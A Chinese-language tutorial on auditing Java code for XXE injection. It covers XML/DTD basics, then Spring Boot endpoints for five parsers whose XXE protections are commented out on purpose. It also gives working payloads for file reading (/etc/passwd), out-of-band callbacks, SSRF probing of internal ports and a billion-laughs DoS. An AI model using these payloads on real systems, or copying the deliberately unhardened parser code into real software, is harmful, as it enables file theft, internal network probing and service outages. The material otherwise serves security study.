前言
最近的几场比赛出现了XXE的题目,让我认识到了自己在XXE方面的知识点十分薄弱,所以就花时间深入学习一下XXE的知识点。
XML简介
在正式开始了解XXE之前我们需要先知道什么是XML
XML
XML(Extensible Markup Language):可扩展标记语言,用来存储及传输信息。XML 的一个主要优点是它允许不同的应用程序之间进行数据交换,因为它是一种通用的数据格式。它还可以用于存储数据,并且可以使用 XML 文档来描述数据的结构。
如下是一个描述书籍的XML文档:
1
2
3
4
5
6
7
8
9
10
11
12
| <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE book SYSTEM "book.dtd">
<book id="1">
<name>Code Audit</name>
<author>hada</author>
<description lang="CN">hada的代码审计</description>
<tags>
<tag>Java</tag>
<tag>Code Audit</tag>
</tags>
<pubDate/>
</book>
|
DTD
DTD是文档类型定义的缩写。它是一种用来定义XML文档结构的文本文件,用于描述XML文档中元素的名称、属性和约束关系。DTD可以帮助浏览器或其他应用程序更好地解析和处理XML文档。
例如,下面是一个简单的DTD,它描述了一个XML文档,其中包含名为"book"的元素,其中包含一个名为"title"的元素和一个名为"author"的元素:
1
2
3
| <!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
|
这个DTD声明了"book"元素包含一个"title"元素和一个"author"元素,“title"和"author"元素都只包含文本数据(#PCDATA)。因此,下面的XML文档是有效的:
1
2
3
4
| <book>
<title>Code Audit</title>
<author>hada</author>
</book>
|
而下面这个则是无效的,因为他不包含"author"元素:
1
2
3
| <book>
<title>Code Audit</title>
</book>
|
内部的 DOCTYPE 声明
内部的DOCTYPE声明是指将DTD定义直接包含在XML文档中的DOCTYPE声明。这种声明方式通常被称为"内部子集”。形式类似于Java中直接将类写在同一个文件中。内部的DOCTYPE声明的一般形式如下:
1
2
3
| <!DOCTYPE root-element [
DTD-definition
]>
|
其中,root-element 是 XML 文档的根元素,DTD-definition 是 DTD 的定义,包括元素名称、属性和约束关系。
例如,如果XML文档的根元素是 “book”,并且 DTD 定义如下:
1
2
3
| <!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
|
那么内部的DOCTYPE声明可能如下所示:
1
2
3
4
5
| <!DOCTYPE book [
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
]>
|
内部的 DOCTYPE 声明的优点是它可以使XML文档更具可移植性,因为它不依赖于外部文件。但是,内部的DOCTYPE声明会使XML文档变得较大,并且如果 DTD 定义很复杂,可能会使XML文档变得难以阅读和维护。
外部的 DOCTYPE 声明
外部的DOCTYPE声明是指将DTD定义保存在单独的文件中,并在XML文档中通过DOCTYPE声明引用该文件的声明。这种声明方式通常被称为"外部子集",形式类似于PHP中的include。
外部的DOCTYPE声明的一般形式如下:
1
| <!DOCTYPE root-element SYSTEM "DTD-location">
|
其中,root-element是XML文档的根元素,DTD-location是DTD文件的位置。例如,如果XML文档的根元素是"book",并且DTD文件位于当前目录中的"book.dtd"文件中,那么外部的DOCTYPE声明可能如下所示:
1
| <!DOCTYPE book SYSTEM "book.dtd">
|
外部的DOCTYPE声明的优点是它使XML文档更易于阅读和维护,因为DTD定义保存在单独的文件中,而不是嵌入在XML文档中。此外,外部的DOCTYPE声明使得可以为多个XML文档使用相同的DTD定义。但是,外部的DOCTYPE声明的缺点是它依赖于外部文件,如果DTD文件丢失或损坏,XML文档可能无法正确解析和处理。
DOCTYPE 声明不是必需的,但是它很重要,因为它可以帮助浏览器或其他应用程序正确地解析和处理XML文档。
什么是XXE?
XXE(XML External Entity),即XML外部实体注入漏洞。XXE漏洞发生于应用程序在解析XML时,没有对恶意内容进行过滤,导致可造成文件读取,命令执行,攻击内网网站,内网端口扫描,进行DOS攻击等危害。
例如,假设应用程序接收用户提交的XML文档,并使用XML处理器解析它:
1
2
3
4
5
6
| Copy codePOST /submit-xml HTTP/1.1
Content-Type: application/xml
<user>
<name>hada</name>
<email>test@test.com</email>
</user>
|
如果XML处理器没有正确配置,它会解析下面这个外部实体,最终会将 /etc/passwd 文件的内容包含到XML文档中,有可能会返回给前端。
1
2
3
4
5
6
7
8
9
10
| Copy codePOST /submit-xml HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>hada</name>
<email>test@test.com</email>
</user>
|
在这个例子中,攻击者定义了一个名为 xxe 的外部XML实体,并将它引用到了XML文档的 name 字段中。如果XML处理器没有正确配置,攻击者可以提交包含XXE漏洞的XML文档来实现读取敏感文件:
Java中XXE漏洞支持的协议
Java中的XXE支持sun.net.www.protocol 里的所有协议:
- http
- https
- file
- ftp
- mailto
- jar
- netdoc
Java常用XML解析API示例
想要学习JavaXXE 漏洞代码审计,首先要先熟悉 XML 解析API。
常见的JavaXML解析有以下几种方式:1、DOM解析;2、SAX解析;3、JDOM解析;4、DOM4J解析;5、Digester解析
在 Java 语言中,常见的 XML 解析器有:
DOM (Document Object Model) 解析:这是一种基于树的解析器,它将整个 XML 文档加载到内存中,并将文档组织成一个树形结构。
SAX (Simple API for XML) 解析:这是一种基于事件的解析器,它逐行读取 XML 文档并触发特定的事件。
JDOM 解析:这是一个用于 Java 的开源库,它提供了一个简单易用的 API 来解析和操作 XML 文档。
DOM4J 解析:DOM4J 是一个 Java 的 XML API,是 JDOM 的升级品,用来读写 XML 文件的。
Digester 解析:Digester 是 Apache 下一款开源项目。Digester 是对 SAX 的包装,底层是采用的是 SAX 解析方式。
其中,DOM 和 SAX 为原生自带的。JDOM、DOM4J 和 Digester 需要引入第三方依赖库。
接下来就通过代码来熟悉这些API,首先创建一个springboot项目,选择maven工程。
这里先给出两个参数,便于后续测试。
正常用户传入XML文档。
1
2
3
4
5
6
7
8
9
10
11
| <?xml version="1.0" encoding="UTF-8" ?>
<book id="1">
<name>Code Audit</name>
<author>hada</author>
<description lang="CN">hada的代码审计</description>
<tags>
<tag>Java</tag>
<tag>Code Audit</tag>
</tags>
<pubDate/>
</book>
|
恶意payload:
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "http://www.example.org">
]>
<user>
<xxe>&xxe;</xxe>
</user>
|
DOM
DOM的全称是Document Object Model,也即文档对象模型。DOM 解析是将一个 XML 文档转换成一个 DOM 树,并将 DOM 树放在内存中。
使用大致步骤:
- 创建一个 DocumentBuilderFactory 对象
- 创建一个 DocumentBuilder 对象
- 通过 DocumentBuilder 的 parse() 方法加载 XML
- 遍历 name 和 value 节点
创建一个DOMtest文件,并键入下列代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| package com.example.javaxxetest;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class DOMtest {
@RequestMapping("/xxe/dom")
public String xxeDom(HttpServletRequest request) {
try {
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(is);
StringBuilder buf = new StringBuilder();
// 获取根元素
Element rootElement = document.getDocumentElement();
if (rootElement.getNodeName().equals("book")) {
NodeList childNodes = rootElement.getChildNodes();
for (int j = 0; j < childNodes.getLength(); j++) {
Node childNode = childNodes.item(j);
if (childNode.getNodeType() == Node.ELEMENT_NODE) {
buf.append(String.format("%s: %s<br>", childNode.getNodeName(), childNode.getTextContent().trim()));
}
}
}
return buf.toString();
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ParserConfigurationException e) {
throw new RuntimeException(e);
} catch (SAXException e) {
throw new RuntimeException(e);
}
}
private String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}
|
SAX
SAX 的全称是 Simple APIs for XML,也即 XML 简单应用程序接口。与 DOM 不同,SAX 提供的访问模式是一种顺序模式,这是一种快速读写 XML 数据的方式。
使用大致步骤:
- 获取 SAXParserFactory 的实例
- 获取 SAXParser 实例
- 创建一个 handler() 对象
- 通过 parser 的 parse() 方法来解析 XML
新建一个SAXtest文件并键入如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| package com.example.javaxxetest;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class SAXtest {
@RequestMapping("/xxe/SAX")
public String SAXtest(HttpServletRequest request) throws IOException {
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
try {
SAXParserFactory spf = SAXParserFactory.newInstance();
// 禁用外部实体解析以防止XXE攻击
// spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// spf.setXIncludeAware(false);
// spf.setExpandEntityReferences(false);
SAXParser parser = spf.newSAXParser();
SAXHandler handler = new SAXHandler();
// 解析xml
parser.parse(new InputSource(new StringReader(body)), handler);
return handler.getResult();
} catch (Exception e) {
e.printStackTrace();
return "Error......";
}
}
private String convertStreamToString(InputStream is) throws IOException {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
// 自定义的SAX处理器
private static class SAXHandler extends DefaultHandler {
private StringBuilder result = new StringBuilder();
private boolean bName = false;
private boolean bAuthor = false;
private boolean bDescription = false;
private boolean bTag = false;
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("name")) {
bName = true;
}
if (qName.equalsIgnoreCase("author")) {
bAuthor = true;
}
if (qName.equalsIgnoreCase("description")) {
bDescription = true;
}
if (qName.equalsIgnoreCase("tag")) {
bTag = true;
}
}
@Override
public void characters(char ch[], int start, int length) throws SAXException {
if (bName) {
result.append("Name: ").append(new String(ch, start, length)).append("\n");
bName = false;
}
if (bAuthor) {
result.append("Author: ").append(new String(ch, start, length)).append("\n");
bAuthor = false;
}
if (bDescription) {
result.append("Description: ").append(new String(ch, start, length)).append("\n");
bDescription = false;
}
if (bTag) {
result.append("Tag: ").append(new String(ch, start, length)).append("\n");
bTag = false;
}
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
// 可以在这里处理结束元素
}
public String getResult() {
return result.toString();
}
}
}
|
JDOM
JDOM 是一个开源项目,它基于树型结构,利用纯 JAVA 的技术对 XML 文档实现解析、生成、序列化以及多种操作。
使用大致步骤:
- 创建一个 SAXBuilder 的对象
- 通过 saxBuilder 的 build() 方法,将输入流加载到 saxBuilder 中
使用 JDOM 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:
1
2
3
4
5
| <dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom2</artifactId>
<version>2.0.6</version>
</dependency>
|
创建一个JDOMtest文件,并键入如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| package com.example.javaxxetest;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class JDOMtest {
@RequestMapping("/xxe/JDOM")
public String jdomDemo(HttpServletRequest request) throws IOException {
// 获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
try {
SAXBuilder builder = new SAXBuilder();
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 禁用外部实体解析以防止XXE攻击
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
// xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// xmlReader.setProperty("http://xml.org/sax/properties/lexical-handler", null);
//
// builder.setXMLReader(xmlReader);
Document document = builder.build(new InputSource(new StringReader(body)));
return document.toString();
} catch (JDOMException | SAXException e) {
e.printStackTrace();
return "Error......";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}
|
DOM4J
Dom4j 是一个易用的、开源的库,用于XML,XPath 和 XSLT。它应用于Java平台,采用了Java集合框架并完全支持 DOM,SAX 和 JAXP。是 Jdom 的升级品
使用大致步骤:
- 创建 SAXReader 的对象 reader
- 通过 reader 对象的 read() 方法加载 xml 文件
使用 JDOM 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:
1
2
3
4
5
| <dependency>
<groupId>org.dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>2.1.3</version>
</dependency>
|
创建DOM4Jtest文件,并键入如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| package com.example.javaxxetest;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.io.SAXReader;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class DOM4Jtest {
@RequestMapping("/xxe/DOM4J")
public String dom4jDemo(HttpServletRequest request) {
try {
// 获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
// 创建自定义的 XMLReader
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 禁用外部实体解析以防止XXE攻击
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
// xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// xmlReader.setProperty("http://xml.org/sax/properties/lexical-handler", null);
// 使用自定义的 XMLReader 创建 SAXReader
SAXReader reader = new SAXReader(xmlReader);
Document document = reader.read(new InputSource(new StringReader(body)));
return document.asXML().toString();
} catch (DocumentException | SAXException | IOException e) {
e.printStackTrace();
return "EXCEPT ERROR!!!";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}
|
Digester
Digester 是 Apache 下一款开源项目。 目前最新版本为 Digester 3.x 。
Digester 是对 SAX 的包装,底层是采用的是 SAX 解析方式。
使用大致步骤:
- 创建 Digester 对象
- 调用 Digester 对象的 parse() 解析 XML
使用 Digester 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:
1
2
3
4
5
| <dependency>
<groupId>commons-digester</groupId>
<artifactId>commons-digester</artifactId>
<version>2.1</version>
</dependency>
|
创建一个Digestertest文件,键入如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| package com.example.javaxxetest;
import org.apache.commons.digester.Digester;
import org.xml.sax.InputSource;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class Digestertest {
@RequestMapping("/xxe/Digester")
public String Digestertest(HttpServletRequest request) {
try {
// 获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
// 创建自定义的 XMLReader
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 禁用外部实体解析以防止XXE攻击
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
// xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// xmlReader.setProperty("http://xml.org/sax/properties/lexical-handler", null);
// 使用自定义的 XMLReader 创建 Digester
Digester digester = new Digester(xmlReader);
digester.parse(new InputSource(new StringReader(body)));
return digester.toString();
} catch (Exception e) {
e.printStackTrace();
return "EXCEPT ERROR!!!";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}
|
JavaXXE漏洞利用
本地文件读取
Windows 系统读取文件需要 file:///C:/ (带着盘符)
Linux/Unix系统读取文件需要 file:///
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D:/xxe.txt">
]>
<root>&file;</root>
|
DNSlog
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "https://www.example.com">
]>
<root>&file;</root>
|
SSRF 探测内网
可通过时间响应差异等情况探测内网IP,以及端口开放情况。如果内网存在redis未授权,可以尝试进行组合攻击。
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://127.0.0.1:1234">
]>
<root>&file;</root>
|
DoS 攻击
其原理是通过不断迭代增大变量的空间,进而导致内存崩溃。
1
2
3
4
5
6
7
8
9
10
11
12
13
| <!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
|
更多可参考: https://github.com/payloadbox/xxe-injection-payload-list
参考文献
[【Java代码审计】XXE_java xxe-CSDN博客](https://blog.csdn.net/qq_48201589/article/details/136421867?ops_request_misc=%7B%22request%5Fid%22%3A%22c8d94e8777aa15588ac6cc594c411c26%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=c8d94e8777aa15588ac6cc594c411c26&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-136421867-null-null.142^v101^pc_search_result_base6&utm_term=Java XXE&spm=1018.2226.3001.4187)
[java审计-XXE_java xxe-CSDN博客](https://blog.csdn.net/admin741admin/article/details/129757862?ops_request_misc=%7B%22request%5Fid%22%3A%22c8d94e8777aa15588ac6cc594c411c26%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=c8d94e8777aa15588ac6cc594c411c26&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-129757862-null-null.142^v101^pc_search_result_base6&utm_term=Java XXE&spm=1018.2226.3001.4187)